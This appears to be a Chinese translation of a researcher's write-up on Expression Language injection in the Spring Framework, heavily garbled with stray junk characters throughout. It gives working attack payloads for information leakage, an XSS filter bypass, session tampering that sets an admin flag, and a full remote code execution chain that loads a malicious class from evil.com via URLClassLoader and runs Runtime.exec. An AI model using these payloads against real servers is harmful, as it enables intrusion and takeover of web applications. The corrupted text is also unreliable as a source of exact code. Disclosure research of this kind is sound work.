Remote Code with; p7 ^4 k9 X3 P; k
Expression Language Injection* J( I$ ]' f! c0 V/ g
Spring Framework脆弱性—DanAmodio5 I& p0 U/ ^/ z) p8 m0 X5 e' p, z& h
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中( w, ^( t+ L' N" b: P2 B
可能会存在风险。9 J- T! r" _4 n0 d: g; d" x
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
2 H( O' X- U* {- q" zArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
9 d3 I; _' y: y7 z5 U以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
6 i$ f$ `* ^* a+ L; s2 m以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
" }# K8 J, U* E2 x3 A, S! @7 R7 K版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。; E- k$ X6 }* Q1 k9 G
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
0 c h/ F7 }5 `% `5 x2 k P' Y我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版- Z# w2 M+ S' u2 x4 I
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
) h1 x6 K/ |$ A% y这些版本不支持禁用double EL resolution.# _0 v% b/ [$ C7 q" B. t
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
: g1 B# j# Z$ cEL2.2容器上可能进行远程代码执行。
# H1 U& H1 O- `9 {- b这是一个原始信息泄露的攻击例子:- C3 F8 V$ A X- @0 y7 c, k
请求:
4 T0 T! m, O8 A( J# x) E" H% Xttp://vulnerable.com/foo?message=${applicationScope}
5 c) R5 K) i2 p$ A5 x4 _到达以下内容页面:6 j# R: N5 a3 M- J7 E8 ]( [
结果将输出一些包含内部服务器信息calsspath 和本地工作目录, w9 k0 f2 \ s; D' t! l
你也可以做一些其他事情,如这样:
9 {4 U( h+ h4 _${9999+1}: ]0 t7 J, m* k' P0 y* I9 ?3 t
还可以访问session 对象和beans
3 }3 `2 l/ v. f% u* W${employee.lastName}$ c- l+ F5 d. p5 J
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是& B' H" u* A( ]; M8 v9 i, |
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
v/ f$ s0 A( D8 ?+ `' Q1 Z; r& S西,比如XSS.) K5 O# s- x# ^+ _ W, z
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
# F3 i. n$ z8 f5 \突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
5 p5 y$ e6 g2 ~" @呢?”8 E: O- Q7 R3 n8 `) O- A
因此,我尝试巳缦拢�* F- ~/ \* B( k. Q$ r: d
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP; v9 }2 N% B7 _9 {, C5 H( ]0 a8 k
P
: h, K9 I5 ~, y {. g" ^我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
5 {& y+ S# y i' c) d, S回的文本被插入进了spring:message 标签。
% A$ C9 |* X1 b! A8 Q" O6 C) c这里是一个最终绕过过滤的实例:# O$ W, n# c' `0 P: L
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ4 I0 z b3 @9 R
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为0 U4 Z7 d {) L( n; Y1 e- K
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
' ^1 q4 k3 ~$ p经过一番研究,我学习到EL2.2 增加了方法调用。
4 ]$ z5 o( y$ c: [我写了一个快速测试应用程序代码并且检测一些功能
+ s: k& Z+ F! |6 R3 I; ]$ k4 W6 G${pageContext.request.getSession().setAttribute(“account”,”123456″)}1 d3 O9 S4 }, j2 y7 I
${pageContext.request.getSession().setAttribute(“admin”,true)}
& c- `) S3 H: a9 b8 Q+ h好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的6 o' r! y+ h, k {) h
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
1 _! R; F2 t% `5 |${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1( a3 K+ A {) Z
“, 1234)}# M5 r% r" T1 E7 y; M7 \& A; q3 B
${“”.getClass().forName(“java.lang.Runtime”)}0 \$ s5 t% k7 _! }3 u( V z- ^
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不. C: W' x& P. S3 P7 B
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函0 C( W7 N3 _ M+ I
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
4 Y9 h( V A% [, e一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于0 [8 B/ x4 [" @- X( i
方法签名invoke(Object obj, Object„ args)( ], Y' n9 V+ M9 I9 h
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
/ E9 ?& K7 m, J- S, ~4 H( F+ N题,以让它可以工作起来。( I. k6 T2 C; y- A1 K% K9 a
漏洞利用:
& k1 H2 i* Q2 S6 s我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
3 G7 P/ C# s& R! {希望你们中的一些JAVA奇才告诉我我是如此的可笑。
. a" l* U1 \# v0 h! j$ M( @这里有一些我试过的失败的用例,为了试图让它工作的用例:* F1 w( c" Y: i
写文件到文件系统. W" K* A. ^% n$ F0 W
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
- r9 _$ z/ Y$ r5 z& n2 {我认为这些可以很好的工作,但是我不能找到合适的类来载入。
9 U0 T1 i2 }8 n${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
- \$ k- U0 ^3 D* Kjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException: S; p0 W9 a: C* _ G5 x: D
org.springframework.expression.spel.standard.SpelExpressionParser not found1 {. g/ A8 t, n/ f: S
by) {# w0 l+ A9 F7 L2 C' Y
org.glassfish.web.javax.servlet.jsp [194].
- t T( @; J+ u2 ^$ } 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
4 o, x- ~7 ~2 g0 ]; O1 N 利用反射来创建一个新的Runtime(and watch the world burn)
4 ]$ F* ^' @' @8 B2 r/ \+ v${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName, _. C6 A) H( j# @$ J. c
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
$ C" j6 b! Q* P0 E${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
" t- q P1 h3 r( ]3 [9 {) W 使用java.lang.ProcessBuilder3 A" P7 ]5 D2 I+ h+ Y& Z
用表达式语言来评估表达式语言
c6 y) V3 ?7 L2 H. ~Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
; Z; L+ T# A9 v5 A5 h# M5 b${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request" M" P: c' s- n7 Q) n) X
“,”".getClass(),null)}
, T/ L! \3 |% e 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂); } y" z; ^1 {2 {$ S$ {
我在使用一个空数组通过Method.invoke()时失败了很多次
2 y. U( L3 H; n1 N+ |6 S# Q+ u“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. p+ B1 ~+ j/ X, |2 A
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A( U' }4 f: K- ?( G* k$ Z+ r
rrayList”).newInstance().toArray())
9 j( k8 N l: X& h. X. _java.lang.IllegalArgumentException: wrong number of arguments3 f. M$ \0 h- W6 k
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可4 I3 Q2 |0 b) H8 Q
以创建一个恶意class文件并且指向类装载器.7 ^$ b+ l1 M: G2 E0 H
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:2 N& u7 s0 @7 d
public class Malicious {
2 V9 \- [( J( Y3 ?1 rpublic Malicious() {7 X1 T4 r1 `" W1 O+ Q
try {
. `- M* O7 ?0 o& Z; x! |java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
% b" Z+ x% Z6 n: Hjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win. D. P; i" r, W" M% v
} catch (Exception e) {, t" e( N& x7 J7 o) j- G
}
, N4 t8 I% ~7 ~! }( Q8 F0 C0 y}0 Z6 }, t2 g( @7 @/ c" B4 W
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回8 p- V! x1 f, p) ]9 E, g4 @
话中,因此它可以被使用.
, D# s8 ?# Q3 m& q${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName: J E: r0 A n, U
(“java.util.ArrayList”).newInstance())}
, v) ^, J" m6 l8 r) U3 }1 i- V2 QURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
0 x9 @8 h; r7 L0 l) Q" _$ @" n一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
* Q2 [: i, Y2 g: Q; RgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个' ~7 Q( O8 a8 S$ b$ R
我们可以调用的create(string)方法,然后转换对一个URL对象。
/ G# s7 H) b2 X, |8 }' Q: H2 Y${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh" s0 T/ q! |3 I; K+ M
ere/malicious/classfile/is/located/”).toURL())}$ J! E4 c. H4 D
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
, \2 j$ K: b, F恶意类文件被装载并创建,触发远程代码.! a% L3 H" X% r$ v% E
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
4 ^% H. b1 k" _xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().+ _( e5 h4 O6 b% i3 G
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
& E0 m: ?- [ k# A2 k()} |